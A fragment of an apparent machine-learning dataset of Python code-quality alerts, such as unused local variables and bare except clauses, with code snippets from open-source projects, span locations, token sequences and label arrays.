",_", "vard", "ef_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "soft", "define_", "(_", "tg_", ",_", "vard", "ef_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "0_", ",_", "text_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
VisTrails/VisTrails/contrib/cdat/cdat_cell.py
[ { "content": " def compute(self):\n \"\"\" compute() -> None\n Dispatch the vtkRenderer to the actual rendering widget\n \"\"\"\n # Check required input ports\n if self.has_input('canvas'):\n canvas = self.get_input('canvas')\n else:\n self.cellWidget = self.displayAndWait(QCDATWidget, (None,))\n self.set_output('canvas', self.cellWidget.canvas)\n return\n self.set_output('canvas', canvas)\n if not self.has_input('gmName'):\n return\n if not self.has_input('plotType'):\n return\n if not self.has_input('slab1'):\n return\n if not self.has_input('template'):\n return\n\n # Build up the argument list\n args = []\n slab1 = self.get_input('slab1')\n args.append(self.get_input('slab1'))\n if self.has_input('slab2'):\n args.append(self.get_input('slab2'))\n args.append(self.get_input('template'))\n args.append(self.get_input('plotType'))\n args.append(self.get_input('gmName'))\n\n # Build up plot keyword args ...\n kwargs = {}\n if self.has_input('continents'):\n kwargs['continents'] = self.get_input('continents')\n \n # Set the cell row / col\n self.location = CellLocation()\n if self.has_input('row'):\n self.location.row = self.get_input('row')\n if self.has_input('col'):\n self.location.col = self.get_input('col')\n\n # Plot into the cell\n inputPorts = (canvas, args, kwargs)\n self.displayAndWait(QCDATWidget, inputPorts) ", "metadata": "root.CDATCell.compute", "header": "['class', 'CDATCell', '(', 'SpreadsheetCell', ',', 'NotCacheable', ')', ':', '___EOS___']", "index": 184 } ]
[ { "span": "slab1 ", "start_line": 207, "start_column": 8, "end_line": 207, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "CD", "ATC", "ell_", "(_", "Spread", "sheet", "Cell_", ",_", "Not", "Cache", "able_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "compute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "compute", "()", " ", "->", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "Dispa", "tch", " ", "the", " ", "vtk", "Render", "er", " ", "to", " ", "the", " ", "actual", " ", "render", "ing", " ", "widget", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "require", "d", " ", "input", " ", "ports_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "'", "canv", "as", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "canvas_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "'", "canv", "as", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "cell", "Widget_", "=_", "self_", "._", "display", "And", "Wait_", "(_", "QC", "DAT", "Widget_", ",_", "(_", "None_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "'", "canv", "as", "'_", ",_", "self_", "._", "cell", "Widget_", "._", "canvas_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "set\\u", "output_", "(_", "'", "canv", "as", "'_", ",_", "canvas_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "self_", "._", "has", "\\u", "input_", "(_", "'", "gm", "Name", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "has", "\\u", "input_", "(_", "'", "plot", "Type", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "has", "\\u", "input_", "(_", "'", "slab", "1", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "self_", "._", "has", "\\u", "input_", "(_", "'", "template", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "up", " ", "the", " ", "argu", "ment", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "slab", "1_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "'", "slab", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "._", "append_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "'", "slab", "1", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "'", "slab", "2", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "args_", "._", "append_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "'", "slab", "2", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "args_", "._", "append_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "'", "template", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "._", "append_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "'", "plot", "Type", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "args_", "._", "append_", "(_", "self_", "._", "get", "\\u", "input_", "(_", "'", "gm", "Name", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Build", " ", "up", " ", "plot", " ", "keyw", "ord", " ", "args", " ", "..._", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "'", "continent", "s", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "continent", "s", "'_", "]_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "'", "continent", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", " ", "the", " ", "cell", " ", "row", " ", "/", " ", "col_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "location_", "=_", "Cel", "l", "Location_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "'", "row", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "location_", "._", "row_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "'", "row", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "has", "\\u", "input_", "(_", "'", "col", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "location_", "._", "col_", "=_", "self_", "._", "get", "\\u", "input_", "(_", "'", "col", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Plot", " ", "int", "o", " ", "the", " ", "cell_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "input", "Ports_", "=_", "(_", "canvas_", ",_", "args_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "display", "And", "Wait_", "(_",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
saullocastro/mapy/mapy/model/loads/loads.py
[ { "content": " def __init__(self, inputs): \n Loads.__init__(self)\n self = user_setattr(self, inputs)", "metadata": "root.Moment.__init__", "header": "['class', 'Moment', '(', 'Loads', ')', ':', '___EOS___']", "index": 78 } ]
[ { "span": "self ", "start_line": 80, "start_column": 8, "end_line": 80, "end_column": 12 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Moment", "_", "(_", "Load", "s_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "inputs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Load", "s_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "=_", "user", "\\u", "setattr_", "(_", "self_", ",_", "inputs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
django-leonardo/django-leonardo/leonardo/module/media/views.py
[ { "content": "def directory_list(request, directory_slug, category_parent_slug):\n\n if directory_slug:\n directory_slug = uri_to_iri(directory_slug)\n\n if directory_slug is None:\n object = None\n root = getattr(settings, 'MEDIA_GALLERIES_ROOT', None)\n if root:\n obj_root = Folder.objects.get(name=root)\n object_list = Folder.objects.filter(parent=obj_root)\n else:\n object_list = Folder.objects.filter(parent=None)\n else:\n try:\n object = Folder.objects.get(id=directory_slug)\n except:\n object = Folder.objects.get(name=directory_slug)\n object_list = object.files.all()\n\n return render(\n request,\n 'media/directory_list.html',\n {\n 'object_list': object_list,\n }\n )", "metadata": "root.directory_list", "header": "['module', '___EOS___']", "index": 266 }, { "content": "def directory_list_nested(request,\n directory_slug=None,\n parent_directory_slug=None,\n grandparent_directory_slug=None):\n\n if directory_slug:\n directory_slug = uri_to_iri(directory_slug)\n\n if parent_directory_slug:\n parent_directory_slug = uri_to_iri(parent_directory_slug)\n\n if directory_slug is None:\n object = None\n root = getattr(settings, 'MEDIA_GALLERIES_ROOT', None)\n if root:\n obj_root = Folder.objects.get(name=root)\n object_list = Folder.objects.filter(parent=obj_root)\n else:\n object_list = Folder.objects.filter(parent=None)\n else:\n if parent_directory_slug is None:\n try:\n object = Folder.objects.get(id=directory_slug)\n except:\n object = Folder.objects.get(name=directory_slug)\n object_list = object.files.all()\n else:\n if grandparent_directory_slug is None:\n object = Folder.objects.get(\n name=directory_slug, parent__name=parent_directory_slug)\n object_list = object.files.all()\n else:\n object = Folder.objects.get(\n name=directory_slug,\n parent__name=parent_directory_slug,\n parent__parent__name=grandparent_directory_slug)\n object_list = object.files.all()\n\n return render(\n request,\n 'media/directory_list_nested.html',\n {\n 'object_list': object_list,\n 'object': object,\n }\n )", "metadata": "root.directory_list_nested", "header": "['module', '___EOS___']", "index": 295 } ]
[ { "span": "except:", "start_line": 282, "start_column": 8, "end_line": 282, "end_column": 15 }, { "span": "except:", "start_line": 318, "start_column": 12, "end_line": 318, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "director", "y", "\\u", "list_", "(_", "request_", ",_", "director", "y", "\\u", "slug_", ",_", "category", "\\u", "parent", "\\u", "slug_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "director", "y", "\\u", "slug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "director", "y", "\\u", "slug_", "=_", "uri", "\\u", "to", "\\u", "iri", "_", "(_", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "director", "y", "\\u", "slug_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "getattr_", "(_", "settings_", ",_", "'", "MEDIA", "\\u", "GAL", "LER", "IES", "\\u", "ROO", "T", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj", "\\u", "root_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "name_", "=_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "list_", "=_", "Folder_", "._", "objects_", "._", "filter_", "(_", "parent_", "=_", "obj", "\\u", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object\\u", "list_", "=_", "Folder_", "._", "objects_", "._", "filter_", "(_", "parent_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "name_", "=_", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "object\\u", "list_", "=_", "object_", "._", "files_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "media", "/", "director", "y", "\\u", "list", ".", "html", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "list", "'_", ":_", "object\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "director", "y", "\\u", "list", "\\u", "nested_", "(_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "director", "y", "\\u", "slug_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parent", "\\u", "director", "y", "\\u", "slug_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "grand", "parent", "\\u", "director", "y", "\\u", "slug_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "director", "y", "\\u", "slug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "director", "y", "\\u", "slug_", "=_", "uri", "\\u", "to", "\\u", "iri", "_", "(_", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "parent", "\\u", "director", "y", "\\u", "slug_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parent", "\\u", "director", "y", "\\u", "slug_", "=_", "uri", "\\u", "to", "\\u", "iri", "_", "(_", "parent", "\\u", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "director", "y", "\\u", "slug_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root_", "=_", "getattr_", "(_", "settings_", ",_", "'", "MEDIA", "\\u", "GAL", "LER", "IES", "\\u", "ROO", "T", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj", "\\u", "root_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "name_", "=_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "list_", "=_", "Folder_", "._", "objects_", "._", "filter_", "(_", "parent_", "=_", "obj", "\\u", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object\\u", "list_", "=_", "Folder_", "._", "objects_", "._", "filter_", "(_", "parent_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "parent", "\\u", "director", "y", "\\u", "slug_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "name_", "=_", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "object\\u", "list_", "=_", "object_", "._", "files_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "grand", "parent", "\\u", "director", "y", "\\u", "slug_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "director", "y", "\\u", "slug_", ",_", "parent", "\\u\\u", "name_", "=_", "parent", "\\u", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "list_", "=_", "object_", "._", "files_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "=_", "Folder_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "director", "y", "\\u", "slug_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parent", "\\u\\u", "name_", "=_", "parent", "\\u", "director", "y", "\\u", "slug_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "parent", "\\u\\u", "parent", "\\u\\u", "name_", "=_", "grand", "parent", "\\u", "director", "y", "\\u", "slug_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "object\\u", "list_", "=_", "object_", "._", "files_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "render_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "media", "/", "director", "y", "\\u", "list", "\\u", "nest", "ed", ".", "html", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object\\u", "list", "'_", ":_", "object\\u", "list_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "object", "'_", ":_", "object_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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l_gpu' :gpuarray.empty((Q,),np.float64,order='F'),\n 'Z_gpu' :gpuarray.empty((M,Q),np.float64,order='F'),\n 'mu_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n 'S_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n 'gamma_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n 'psi1_gpu' :gpuarray.empty((N,M),np.float64,order='F'),\n 'psi2_gpu' :gpuarray.empty((M,M),np.float64,order='F'),\n 'psi2n_gpu' :gpuarray.empty((N,M,M),np.float64,order='F'),\n 'dL_dpsi1_gpu' :gpuarray.empty((N,M),np.float64,order='F'),\n 'dL_dpsi2_gpu' :gpuarray.empty((M,M),np.float64,order='F'),\n 'log_denom1_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n 'log_denom2_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n 'log_gamma_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n 'log_gamma1_gpu' :gpuarray.empty((N,Q),np.float64,order='F'),\n # derivatives\n 'dvar_gpu' :gpuarray.empty((self.blocknum,),np.float64, order='F'),\n 'dl_gpu' :gpuarray.empty((Q,self.blocknum),np.float64, order='F'),\n 'dZ_gpu' :gpuarray.empty((M,Q),np.float64, order='F'),\n 'dmu_gpu' :gpuarray.empty((N,Q,self.blocknum),np.float64, order='F'),\n 'dS_gpu' :gpuarray.empty((N,Q,self.blocknum),np.float64, order='F'),\n 'dgamma_gpu' :gpuarray.empty((N,Q,self.blocknum),np.float64, order='F'),\n # grad\n 'grad_l_gpu' :gpuarray.empty((Q,),np.float64, order='F'),\n 'grad_mu_gpu' :gpuarray.empty((N,Q,),np.float64, order='F'),\n 'grad_S_gpu' :gpuarray.empty((N,Q,),np.float64, order='F'),\n 'grad_gamma_gpu' :gpuarray.empty((N,Q,),np.float64, order='F'),\n }\n else:\n assert N==self.gpuCache['mu_gpu'].shape[0]\n assert M==self.gpuCache['Z_gpu'].shape[0]\n assert Q==self.gpuCache['l_gpu'].shape[0]", "metadata": "root.PSICOMP_SSRBF_GPU._initGPUCache", "header": "['class', 'PSICOMP_SSRBF_GPU', '(', 'PSICOMP_RBF', ')', ':', '___EOS___']", "index": 312 } ]
[ { "span": "self.gpuCache == None:", "start_line": 314, "start_column": 11, "end_line": 314, "end_column": 32 } ]
[]
1
true
